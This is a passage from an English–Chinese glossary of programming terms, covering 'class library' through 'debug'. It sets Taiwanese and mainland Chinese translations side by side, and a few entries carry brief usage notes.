类别程式库、类别库&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类库<br />class template&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类别模板、类别范本&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类模板<br />class template partial specializations<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类别模板偏特化&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类模板部分特化<br />class template specializations<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类别模板特化&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类模板特化<br />cleanup&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 清理、善後&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;清理、清除<br />client&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;客端、客户端、客户&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;客户<br />client-server&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 主从架构&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;客户/服务器<br />clipboard&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 剪贴簿&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;剪贴板<br />clone&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 复制&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;克隆<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (易与 copy 混淆）<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;克隆&quot; 是个可接受的译词，<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;反正有 &quot;拷贝&quot; 为前例）<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果做为动词译为 &quot;克隆&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;做为名词时最好译为 &quot;克隆件&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;相映於 copy 之 &quot;复件&quot; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />collection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;群集&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;集合 ?<br />combo box&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 复合方块、复合框&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;组合框<br />command line&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;命令列&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;命令行<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (系统文字模式下的整行执行命令)<br />communication&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 通讯&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通讯<br />compatible&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;相容&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;兼容<br />compile time&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;编译期&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;编译期、编译时<br />compiler&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;编译器&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;编译器<br />component&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 组件&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;组件<br />composition&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 复合、合成、组合&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;组合<br />computer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;电脑、计算机&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;计算机、电脑<br />concept&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 概念&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;概念<br />concrete&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;具象的&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;实在的<br />concurrent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;并行&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;并发<br />configuration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 组态&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;配置<br />connection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;连接，连线（网络,资料库）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 连接<br />constraint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;约束（条件）<br />construct&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 构件&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;构件<br />container&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 容器&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;容器<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（存放资料的某种结构如 list, vector...）<br />containment&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 内含&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;包容&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />context&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 背景关系、周遭环境、上下脉络&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;环境、上下文<br />control&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 控制元件、控件&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;控件<br />console&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 主控台&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;控制台<br />const&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 常数（constant 的缩写，C++ 关键字）<br />constant&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;常数（相对於 variable）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 常量<br />constructor（ctor）&nbsp;&nbsp;&nbsp;&nbsp; 建构式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;构造函数<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（与class 同名的一种 member functions）<br />copy (v)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;复制、拷贝&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;拷贝<br />copy (n)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;复件, 副本<br />cover&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 涵盖&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;覆盖<br />create&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;创建、建立、产生、生成&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;创建<br />creation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;产生、生成&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;创建<br />cursor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;游标&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;光标<br />custom&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;订制、自定&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;定制<br />data&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;资料&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;数据<br />database&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;资料库&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;数据库<br />database schema&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数据库结构纲目<br />data member&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 资料成员、成员变数&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;数据成员、成员变量<br />data structure&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;资料结构&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;数据结构<br />datagram&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;资料元&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;数据报文<br />dead lock&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 死结&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;死锁<br />debug&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 